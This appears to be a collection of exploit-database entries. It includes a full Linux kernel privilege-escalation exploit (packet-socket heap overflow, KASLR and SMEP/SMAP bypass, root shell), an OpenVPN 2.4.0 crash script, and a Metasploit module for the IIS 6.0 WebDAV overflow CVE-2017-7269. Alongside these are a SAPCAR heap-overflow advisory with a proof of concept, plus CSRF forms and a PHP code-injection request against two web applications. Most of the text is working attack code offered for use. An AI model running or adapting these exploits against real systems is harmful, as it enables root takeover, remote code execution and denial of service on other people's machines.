	int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (s == -1) {
		perror("[-] socket(SOCK_RAW)");
		exit(EXIT_FAILURE);
	}

	packet_socket_send(s, buffer, size);
}

int packet_sock_kmalloc() {
	int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
	if (s == -1) {
		perror("[-] socket(SOCK_DGRAM)");
		exit(EXIT_FAILURE);
	}
	return s;
}

void packet_sock_timer_schedule(int s, int timeout) {
	packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout);
}

void packet_sock_id_match_trigger(int s) {
	char buffer[16];
	packet_socket_send(s, &buffer[0], sizeof(buffer));
}

// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *

#define ALIGN(x, a)			__ALIGN_KERNEL((x), (a))
#define __ALIGN_KERNEL(x, a)		__ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
#define __ALIGN_KERNEL_MASK(x, mask)	(((x) + (mask)) & ~(mask))

#define V3_ALIGNMENT	(8)
#define BLK_HDR_LEN	(ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT))

#define ETH_HDR_LEN	sizeof(struct ethhdr)
#define IP_HDR_LEN	sizeof(struct iphdr)
#define UDP_HDR_LEN	sizeof(struct udphdr)

#define UDP_HDR_LEN_FULL	(ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN)

int oob_setup(int offset) {
	unsigned int maclen = ETH_HDR_LEN;
	unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
				(maclen < 16 ? 16 : maclen));
	unsigned int macoff = netoff - maclen;
	unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
		0x8000 - BLK_HDR_LEN - macoff + offset;
	return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
}

void oob_write(char *buffer, int size) {
	loopback_send(buffer, size);
}

void oob_timer_execute(void *func, unsigned long arg) {
	oob_setup(2048 + TIMER_OFFSET - 8);

	int i;
	for (i = 0; i < 32; i++) {
		int timer = packet_sock_kmalloc();
		packet_sock_timer_schedule(timer, 1000);
	}

	char buffer[2048];
	memset(&buffer[0], 0, sizeof(buffer));

	struct timer_list *timer = (struct timer_list *)&buffer[8];
	timer->function = func;
	timer->data = arg;
	timer->flags = 1;

	oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);

	sleep(1);
}

void oob_id_match_execute(void *func) {
	int s = oob_setup(2048 + XMIT_OFFSET - 64);

	int ps[32];

	int i;
	for (i = 0; i < 32; i++)
		ps[i] = packet_sock_kmalloc();

	char buffer[2048];
	memset(&buffer[0], 0, 2048);

	void **xmit = (void **)&buffer[64];
	*xmit = func;

	oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2);

	for (i = 0; i < 32; i++)
		packet_sock_id_match_trigger(ps[i]);
}

// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *

void kmalloc_pad(int count) {
	int i;
	for (i = 0; i < count; i++)
		packet_sock_kmalloc();
}

void pagealloc_pad(int count) {
	packet_socket_setup(0x8000, 2048, count, 0, 100);
}

// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *

typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

void get_root_payload(void) {
	((_commit_creds)(KERNEL_BASE + COMMIT_CREDS))(
		((_prepare_kernel_cred)(KERNEL_BASE + PREPARE_KERNEL_CRED))(0)
	);
}

// * * * * * * * * * * * * * Simple KASLR bypass * * * * * * * * * * * * * * *

#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10

unsigned long get_kernel_addr() {
	int size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
	if (size == -1) {
		perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)");
		exit(EXIT_FAILURE);
	}

	size = (size / getpagesize() + 1) * getpagesize();
	char *buffer = (char *)mmap(NULL, size, PROT_READ|PROT_WRITE,
		MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

	size = klogctl(SYSLOG_ACTION_READ_ALL, &buffer[0], size);
	if (size == -1) {
		perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)");
		exit(EXIT_FAILURE);
	}

	const char *needle1 = "Freeing SMP";
	char *substr = (char *)memmem(&buffer[0], size, needle1, strlen(needle1));
	if (substr == NULL) {
		fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle1);
		exit(EXIT_FAILURE);
	}

	for (size = 0; substr[size] != '\n'; size++);

	const char *needle2 = "ffff";
	substr = (char *)memmem(&substr[0], size, needle2, strlen(needle2));
	if (substr == NULL) {
		fprintf(stderr, "[-] substring '%s' not found in dmesg\n", needle2);
		exit(EXIT_FAILURE);
	}

	char *endptr = &substr[16];
	unsigned long r = strtoul(&substr[0], &endptr, 16);

	r &= 0xfffffffffff00000ul;
	r -= 0x1000000ul;

	return r;
}

// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *

void exec_shell() {
	char *shell = "/bin/bash";
	char *args[] = {shell, "-i", NULL};
	execve(shell, args, NULL);
}

void fork_shell() {
	pid_t rv;

	rv = fork();
	if (rv == -1) {
		perror("[-] fork()");
		exit(EXIT_FAILURE);
	}

	if (rv == 0) {
		exec_shell();
	}
}

bool is_root() {
	// We can't simple check uid, since we're running inside a namespace
	// with uid set to 0. Try opening /etc/shadow instead.
	int fd = open("/etc/shadow", O_RDONLY);
	if (fd == -1)
		return false;
	close(fd);
	return true;
}

void check_root() {
	printf("[.] checking if we got root\n");

	if (!is_root()) {
		printf("[-] something went wrong =(\n");
		return;
	}

	printf("[+] got r00t ^_^\n");

	// Fork and exec instead of just doing the exec to avoid potential
	// memory corruptions when closing packet sockets.
	fork_shell();
}

bool write_file(const char* file, const char* what, ...) {
	char buf[1024];
	va_list args;
	va_start(args, what);
	vsnprintf(buf, sizeof(buf), what, args);
	va_end(args);
	buf[sizeof(buf) - 1] = 0;
	int len = strlen(buf);

	int fd = open(file, O_WRONLY | O_CLOEXEC);
	if (fd == -1)
		return false;
	if (write(fd, buf, len) != len) {
		close(fd);
		return false;
	}
	close(fd);
	return true;
}

void setup_sandbox() {
	int real_uid = getuid();
	int real_gid = getgid();

        if (unshare(CLONE_NEWUSER) != 0) {
		perror("[-] unshare(CLONE_NEWUSER)");
		exit(EXIT_FAILURE);
	}

        if (unshare(CLONE_NEWNET) != 0) {
		perror("[-] unshare(CLONE_NEWUSER)");
		exit(EXIT_FAILURE);
	}

	if (!write_file("/proc/self/setgroups", "deny")) {
		perror("[-] write_file(/proc/self/set_groups)");
		exit(EXIT_FAILURE);
	}
	if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
		perror("[-] write_file(/proc/self/uid_map)");
		exit(EXIT_FAILURE);
	}
	if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
		perror("[-] write_file(/proc/self/gid_map)");
		exit(EXIT_FAILURE);
	}

	cpu_set_t my_set;
	CPU_ZERO(&my_set);
	CPU_SET(0, &my_set);
	if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
		perror("[-] sched_setaffinity()");
		exit(EXIT_FAILURE);
	}

	if (system("/sbin/ifconfig lo up") != 0) {
		perror("[-] system(/sbin/ifconfig lo up)");
		exit(EXIT_FAILURE);
	}
}

int main() {
	printf("[.] starting\n");

	setup_sandbox();

	printf("[.] namespace sandbox set up\n");

#if ENABLE_KASLR_BYPASS
	printf("[.] KASLR bypass enabled, getting kernel addr\n");
	KERNEL_BASE = get_kernel_addr();
	printf("[.] done, kernel text:   %lx\n", KERNEL_BASE);
#endif

	printf("[.] commit_creds:        %lx\n", KERNEL_BASE + COMMIT_CREDS);
	printf("[.] prepare_kernel_cred: %lx\n", KERNEL_BASE + PREPARE_KERNEL_CRED);

#if ENABLE_SMEP_SMAP_BYPASS
	printf("[.] native_write_cr4:    %lx\n", KERNEL_BASE + NATIVE_WRITE_CR4);
#endif

	printf("[.] padding heap\n");
	kmalloc_pad(KMALLOC_PAD);
	pagealloc_pad(PAGEALLOC_PAD);
	printf("[.] done, heap is padded\n");

#if ENABLE_SMEP_SMAP_BYPASS
	printf("[.] SMEP & SMAP bypass enabled, turning them off\n");
	oob_timer_execute((void *)(KERNEL_BASE + NATIVE_WRITE_CR4), CR4_DESIRED_VALUE);
	printf("[.] done, SMEP & SMAP should be off now\n");
#endif

	printf("[.] executing get root payload %p\n", &get_root_payload);
	oob_id_match_execute((void *)&get_root_payload);
	printf("[.] done, should be root now\n");

	check_root();

	while (1) sleep(1000);

	return 0;
}
            
#!/usr/bin/env python3
'''
$ ./dos_server.py &
$ sudo ./openvpn-2.4.0/src/openvpn/openvpn conf/server-tls.conf
...
Fri Feb 24 10:19:19 2017 192.168.149.1:64249 TLS: Initial packet from [AF_INET]192.168.149.1:64249, sid=9a6c48a6 1467f5e1
Fri Feb 24 10:19:19 2017 192.168.149.1:64249 Assertion failed at ssl.c:3711 (buf_copy(in, buf))
Fri Feb 24 10:19:19 2017 192.168.149.1:64249 Exiting due to fatal error
Fri Feb 24 10:19:19 2017 192.168.149.1:64249 /sbin/route del -net 10.8.0.0 netmask 255.255.255.0
Fri Feb 24 10:19:19 2017 192.168.149.1:64249 Closing TUN/TAP interface Fri Feb 24 10:19:19 2017 192.168.149.1:64249 /sbin/ifconfig tun0 0.0.0.0
'''

import binascii
import os
import socket
from construct import *
HOST, PORT = "192.168.0.1", 1194

SessionID = Bytes(8)

PControlV1 = Struct(
    "packet_id" / Int32ub,
    "data" / GreedyBytes
)

PAckV1 = Struct(
    "remote_session_id" / SessionID
)

PControlHardResetClientV2 = Struct(
    "packet_id" / Int32ub
)

PControlHardResetServerV2 = Struct(
    "remote_session_id" / SessionID,
    "packet_id" / Int32ub
)

OpenVPNPacket = Struct(
    EmbeddedBitStruct(
        "opcode" / Enum(BitsInteger(5),
                        P_CONTROL_HARD_RESET_CLIENT_V1=1,
                        P_CONTROL_HARD_RESET_SERVER_V1=2,
                        P_CONTROL_HARD_RESET_CLIENT_V2=7,
                        P_CONTROL_HARD_RESET_SERVER_V2=8,
                        P_CONTROL_SOFT_RESET_V1=3,
                        P_CONTROL_V1=4,
                        P_ACK_V1=5,
                        P_DATA_V1=6),
        "key_id" / BitsInteger(3)
    ),
    "session_id" / SessionID,
    "ack_packets" / PrefixedArray(Int8ub, Int32ub),
    Embedded(Switch(this.opcode,
            {
                "P_CONTROL_V1": PControlV1,
                "P_ACK_V1": PAckV1,
                "P_CONTROL_HARD_RESET_CLIENT_V2": PControlHardResetClientV2,
                "P_CONTROL_HARD_RESET_SERVER_V2": PControlHardResetServerV2
            }))
)
def main():
    session_id = os.urandom(8)

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    reset_client = OpenVPNPacket.build({
        "opcode": "P_CONTROL_HARD_RESET_CLIENT_V2",
        "key_id": 0,
        "session_id": session_id,
        "ack_packets": [],
        "packet_id": 0})

    sock.sendto(reset_client, (HOST, PORT))

    data, addr = sock.recvfrom(8192)
    reset_server = OpenVPNPacket.parse(data)

    remote_session_id = reset_server.session_id

    # ack server packet
    ack_packet = OpenVPNPacket.build({
        "opcode": "P_ACK_V1",
        "key_id": 0,
        "session_id": session_id,
        "ack_packets": [reset_server.packet_id],
        "remote_session_id": remote_session_id
    })
    sock.sendto(ack_packet, (HOST, PORT))

    control_packet = OpenVPNPacket.build({
        "opcode": "P_CONTROL_V1",
        "key_id": 0,
        "session_id": session_id,
        "ack_packets": [],
        "packet_id": 1,
        "data": b"a" * 2048})
    sock.sendto(control_packet, (HOST, PORT))

if __name__ == '__main__':
    main()
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => ' Microsoft IIS WebDav ScStoragePathFromUrl Overflow',
      'Description'    => %q{
          Buffer overflow in the ScStoragePathFromUrl function
          in the WebDAV service in Internet Information Services (IIS) 6.0
          in Microsoft Windows Server 2003 R2 allows remote attackers to
          execute arbitrary code via a long header beginning with
          "If: <http://" in a PROPFIND request, as exploited in the
          wild in July or August 2016.

          Original exploit by Zhiniang Peng and Chen Wu.
      },
      'Author'         =>
        [
        'Zhiniang Peng', # Original author
        'Chen Wu',       # Original author
        'Dominic Chell <dominic@mdsec.co.uk>', # metasploit module
        'firefart', # metasploit module
        'zcgonvh <zcgonvh@qq.com>', # metasploit module
        'Rich Whitcroft' # metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2017-7269' ],
          [ 'BID', '97127' ],
          [ 'URL', 'https://github.com/edwardz246003/IIS_exploit' ],
          [ 'URL', 'https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html' ]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'         => 2000,
          'BadChars'      => "\x00",
          'EncoderType'   => Msf::Encoder::Type::AlphanumUnicodeMixed,
          'DisableNops'   =>  'True',
          'EncoderOptions' =>
            {
              'BufferRegister' => 'ESI',
            }
        },
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'PrependMigrate' => true,
        },
      'Targets'        =>
        [
          [
            'Microsoft Windows Server 2003 R2 SP2',
            {
              'Platform' => 'win',
            },
          ],
        ],
      'Platform'       => 'win',
      'DisclosureDate' => 'Mar 26 2017',
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'Path of IIS 6 web application', '/']),
        OptInt.new('MINPATHLENGTH', [ true, 'Start of physical path brute force', 3 ]),
        OptInt.new('MAXPATHLENGTH', [ true, 'End of physical path brute force', 60 ]),
      ])
  end

  def min_path_len
    datastore['MINPATHLENGTH']
  end

  def max_path_len
    datastore['MAXPATHLENGTH']
  end

  def supports_webdav?(headers)
    if headers['MS-Author-Via'] == 'DAV' ||
       headers['DASL'] == '<DAV:sql>' ||
       headers['DAV'] =~ /^[1-9]+(,\s+[1-9]+)?$/ ||
       headers['Public'] =~ /PROPFIND/ ||
       headers['Allow'] =~ /PROPFIND/
      return true
    else
      return false
    end
  end

  def check
    res = send_request_cgi({
      'uri' => target_uri.path,
      'method' => 'OPTIONS'
    })
    if res && res.headers['Server'].include?('IIS/6.0') && supports_webdav?(res.headers)
      return Exploit::CheckCode::Vulnerable
    elsif res && supports_webdav?(res.headers)
      return Exploit::CheckCode::Detected
    elsif res.nil?
      return Exploit::CheckCode::Unknown
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    # extract the local servername and port from a PROPFIND request
    # these need to be the values from the backend server
    # if testing a reverse proxy setup, these values differ
    # from RHOST and RPORT but can be extracted this way
    vprint_status("Extracting ServerName and Port")
    res = send_request_raw(
      'method' => 'PROPFIND',
      'headers' => {
        'Content-Length' => 0
      },
      'uri' => target_uri.path
    )
    fail_with(Failure::BadConfig, "Server did not respond correctly to WebDAV request") if(res.nil? || res.code != 207)

    xml = res.get_xml_document
    url = URI.parse(xml.at("//a:response//a:href").text)
    server_name = url.hostname
    server_port = url.port
    server_scheme = url.scheme

    http_host = "#{server_scheme}://#{server_name}:#{server_port}"
    vprint_status("Using http_host #{http_host}")

    min_path_len.upto(max_path_len) do |path_len|
      vprint_status("Trying path length of #{path_len}...")

      begin
        buf1 = "<#{http_host}/"
        buf1 << rand_text_alpha(114 - path_len)
        buf1 << "\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac"
        buf1 << ">"
        buf1 << " (Not <locktoken:write1>) <#{http_host}/"
        buf1 << rand_text_alpha(114 - path_len)
        buf1 << "\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81"
        buf1 << payload.encoded
        buf1 << ">"

        vprint_status("Sending payload")
        res = send_request_raw(
          'method' => 'PROPFIND',
          'headers' => {
            'Content-Length' => 0,
            'If' => "#{buf1}"
          },
          'uri' => target_uri.path
        )
        if res
          vprint_status("Server returned status #{res.code}")
          if res.code == 502 || res.code == 400
            next
          elsif session_created?
            return
          else
            vprint_status("Unknown Response: #{res.code}")
          end
        end
      rescue ::Errno::ECONNRESET
        vprint_status("got a connection reset")
        next
      end
    end
  end
end
            
'''
Source: https://www.coresecurity.com/advisories/sap-sapcar-heap-based-buffer-overflow-vulnerability

1. Advisory Information

Title: SAP SAPCAR Heap Based Buffer Overflow Vulnerability
Advisory ID: CORE-2017-0001
Advisory URL: http://www.coresecurity.com/advisories/sap-sapcar-heap-based-buffer-overflow-vulnerability
Date published: 2017-05-10
Date of last update: 2017-05-10
Vendors contacted: SAP
Release mode: Coordinated release

2. Vulnerability Information

Class: Heap-based Buffer Overflow [CWE-122]
Impact: Code execution
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-2017-8852


3. Vulnerability Description

SAP [1] distributes software and packages using an archive program called SAPCAR [2]. This program uses a custom archive file format. A memory corruption vulnerability was found in the parsing of specially crafted archive files, that could lead to local code execution scenarios.

4. Vulnerable Packages

SAPCAR archive tool version 721.510
Other products and versions might be affected, but they were not tested.

5. Vendor Information, Solutions and Workarounds

SAP published the following Security Notes:

2441560
6. Credits

This vulnerability was discovered and researched by Martin Gallo and Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Alberto Solino from Core Advisories Team.


7. Technical Description / Proof of Concept Code

This vulnerability is caused by a controlled heap buffer overflow when opening a specially crafted CAR archive file.

The following python code can be used to generate an archive file that triggers the vulnerability:
'''

#!/usr/bin/env python
 
from scapy.packet import Raw
from pysap.SAPCAR import *
 
# We write a file just to have some data to put into the archive
with open("string.txt", "w") as fd:
    fd.write("Some string to compress")
 
# Create a new SAP CAR Archive
f = SAPCARArchive("poc.car", mode="wb", version=SAPCAR_VERSION_200)
# Add the text file
f.add_file("string.txt")
 
# Replace the blocks in the compressed file with the faulty blocks
f._sapcar.files0[0].blocks.append(Raw("D>" + "\x00"*30 + "\x00\xff"))
f._sapcar.files0[0].blocks.append(Raw("A" * 0xffff))
 
# Write the file
f.write()

'''
$ ./SAPCAR -tvf poc.car
SAPCAR: processing archive poc.car (version 2.00)
-rw-rw-r--          23    09 Feb 2017 18:12 string.txt
Segmentation fault (core dumped)
The CAR archive files in its version 2.00 are comprised of an archive header and a list of archived files [3]. Each archived file has a header containing the file's metadata, and the content of the file is split among several blocks. When the SAPCAR program opens a file containing an archived file block different than the known ones [4], it reads an additional 32 bytes of file metadata. The program then uses the last two bytes of the data read as a size field, and copies that amount of data into a fixed-length buffer previously allocated in the heap. As the length field is not properly validated, the operation results in a heap-based buffer overflow.

It's worth mentioning that signature validation doesn't prevent the vulnerability to be triggered, as the signature file needs to be extracted from the archive file in order for the validation to be performed.


8. Report Timeline

2017-02-15: Core Security sent an initial notification to SAP.
2017-02-16: SAP confirmed the reception of the email and requested the draft version of the advisory.
2017-02-16: Core Security sent SAP a draft version of the advisory and informed them we would adjust our publication schedule according with the release of a solution to the issues.
2017-02-17: SAP confirmed reception of the draft advisory and assigned the incident ticket 1780137949 for tracking this issue. They will answer back once the team analyze the report.
2017-03-06: Core Security asked SAP for news about the advisory and publication date.
2017-03-08: SAP answered back saying they had troubles generating the SAPCAR archive. They asked for a pre-built one.
2017-03-08: Core Security researcher sent a PoC SAPCAR archive that can trigger the vulnerability. SAP confirmed reception.
2017-03-08: SAP asked for GPG key for one of the researchers involved in the discovery. Core Security sent (again) the key. SAP confirmed reception.
2017-03-13: SAP confirmed they could reproduce the vulnerability. They said they cannot commit to a publication date yet, but they aim at May 9th, although it could fall in April Patch day or postpone after May.
2017-03-13: Core Security thanked SAP for the tentative date and informed them we would publish our security advisory accordingly upon their confirmation.
2017-04-03: Core Security asked SAP for an update about the final publication date for this vulnerability's patch.
2017-04-05: SAP confirmed they will be able to release the fix in May, although there could be chances to release it in April. They will confirm as soon as possible.
2017-04-05: Core Security thanked SAP for the update and asked for a security note number and CVE (if available) to include in the final advisory.
2017-04-10: SAP informed the security note for this vulnerability and confirmed they will be releasing the fix in May 9th. Core Security confirmed reception.
2017-05-08: SAP informed the release of the security note and the credits included in it. Core Security confirmed reception.
2017-05-10: Advisory CORE-2017-0001 published.
9. References

[1] http://go.sap.com/.
[2] https://launchpad.support.sap.com/#/softwarecenter/template/products/_APP=00200682500000001943%26_EVENT=DISPHIER%26HEADER=N%26FUNCTIONBAR=Y%26EVENT=TREE%26TMPL=INTRO_SWDC_SP_AD%26V=MAINT%26REFERER=CATALOG-PATCHES%26ROUTENAME=products/By%20Category%20-%20Additional%20Components.
[3] https://www.coresecurity.com/corelabs-research/publications/deep-dive-sap-archive-file-formats.
[4] https://github.com/CoreSecurity/pysap/blob/master/pysap/SAPCAR.py#L107.

10. About CoreLabs

CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://www.coresecurity.com/core-labs.

11. About Core Security

Courion and Core Security have rebranded the combined company, changing its name to Core Security, to reflect the company's strong commitment to providing enterprises with market-leading, threat-aware, identity, access and vulnerability management solutions that enable actionable intelligence and context needed to manage security risks across the enterprise. Core Security's analytics-driven approach to security enables customers to manage access and identify vulnerabilities, in order to minimize risks and maintain continuous compliance. Solutions include Multi-Factor Authentication, Provisioning, Identity Governance and Administration (IGA), Identity and Access Intelligence (IAI), and Vulnerability Management (VM). The combination of these solutions provides context and shared intelligence through analytics, giving customers a more comprehensive view of their security posture so they can make more informed, prioritized, and better security remediation decisions.

Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com.

12. Disclaimer

The contents of this advisory are copyright (c) 2017 Core Security and (c) 2017 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
'''
            
# Exploit Title: gongwalker API Manager v1.1 - CSRF(Add/Delete/Edit API)
# Date: 2017-05-10
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: https://github.com/gongwalker/ApiManager
# Software Link: https://github.com/gongwalker/ApiManager.git
# Version: v1.1
# Tested on: Debian

### CSRF1 - ADD API Data
<form name="csrf_poc" action="http://127.0.0.1/vul_test/ApiManager/index.php?op=add&act=api&tag=2&type=do" method="POST">
<input type="hidden" name="num" value="test">
<input type="hidden" name="p%5Bname%5D%5B%5D" value="test">
<input type="hidden" name="p%5BparamType%5D%5B%5D" value="lkj">
<input type="hidden" name="memo" value="kj">
<input type="hidden" name="p%5Bdes%5D%5B%5D" value="">
<input type="hidden" name="type" value="GET">
<input type="hidden" name="url" value="test">
<input type="hidden" name="p%5Btype%5D%5B%5D" value="Y">
<input type="hidden" name="p%5Bdefault%5D%5B%5D" value="">
<input type="hidden" name="des" value="test">
<input type="hidden" name="re" value="lkj">
<input type="hidden" name="name" value="test">

<input type="submit" value="Replay!">
</form>
<!-- Auto-submit script:
<script type="text/javascript">document.forms.csrf_poc.submit();</script>
-->



### CSRF2 - Delete API Data
<form name="csrf_poc" action="http://127.0.0.1/vul_test/ApiManager/index.php?op=apiDelete&act=ajax" method="POST">
<input type="hidden" name="id" value="3">

<input type="submit" value="Replay!">
</form>
<!-- Auto-submit script:
<script type="text/javascript">document.forms.csrf_poc.submit();</script>
-->


### CSRF3 - EDIT API Data
<form name="csrf_poc" action="http://127.0.0.1/vul_test/ApiManager/index.php?op=edit&act=api&tag=2&type=do" method="POST">
<input type="hidden" name="num" value="001">
<input type="hidden" name="p%5Bname%5D%5B%5D" value="password">
<input type="hidden" name="p%5BparamType%5D%5B%5D" value="CSRF_PASSWORD">
<input type="hidden" name="memo" value="login_name \x4e0e email \x4e8c\x9009\x5176\x4e00654<script>alert('csrf')</script>">
<input type="hidden" name="p%5Bdes%5D%5B%5D" value="\x5bc6\x7801">
<input type="hidden" name="type" value="POST">
<input type="hidden" name="url" value="http://api.xxx.com">
<input type="hidden" name="p%5Btype%5D%5B%5D" value="Y">
<input type="hidden" name="p%5Bdefault%5D%5B%5D" value="">
<input type="hidden" name="des" value="\x4f1a\x5458\x767b\x5f55\x8c03\x7528\x6b64\x63a5\x53e3">
<input type="hidden" name="re" value="{\r\n    \"status\": 1, \r\n    \"info\": \"\x767b\x5f55\x6210\x529f\", \r\n    \"data\": [ ]\r\n}">
<input type="hidden" name="name" value="\x4f1a\x5458\x767b\x5f55">
<input type="hidden" name="id" value="2">

<input type="submit" value="Replay!">
</form>
<!-- Auto-submit script:
<script type="text/javascript">document.forms.csrf_poc.submit();</script>
-->
            
BanManager WebUI 1.5.8 - PHP Code Injection & Stored XSS
 
# Exploit Title: BanManager WebUI - PHP Code Injection & Stored XSS
# Date: 2017-05-10
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: https://github.com/BanManagement/BanManager-WebUI
# Software Link: https://github.com/BanManagement/BanManager-WebUI.git
# Version: 1.5.8
# Tested on: Debian

### Vulnerability
Code executed via the updatesetting action will modify 'setting.php'.
In the process, there is not verification of the input value, so it is possible to insert php code.

### Vulnerable param
PHP Code Injection & Stored XSS
 - footer
 - buttons_before
 - buttons_after

Only PHP Code Injection
 - banextra
 - muteextra

### Attack code
PAYLOAD: aaaaaa';$hacker=hwul//inject_php_code';

POST /vul_test/BanManager-WebUI/index.php?action=updatesettings&ajax=true&authid=3da541559918a808c2402bba5012f6c60b27661c HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1/vul_test/BanManager-WebUI/index.php?action=admin
Content-Length: 168
Cookie: BanManagement=epnsf8sut1o05ps574h4861gu7
DNT: 1
Connection: keep-alive

type=mainsettings&iframe=on&utf8=on&footer=aaaaaa'%3B%24hacker%3Dhwul%2F%2Finject_php_code&latestbans=on&latestmutes=on&latestwarnings=on&buttons_before=&buttons_after=


### Result(in settings.php)
$settings['password'] = 'asdf'; // ACP Password (Keep it strong)
$settings['footer'] = 'aaaaaa';$hacker=hwul//inject_php_code';
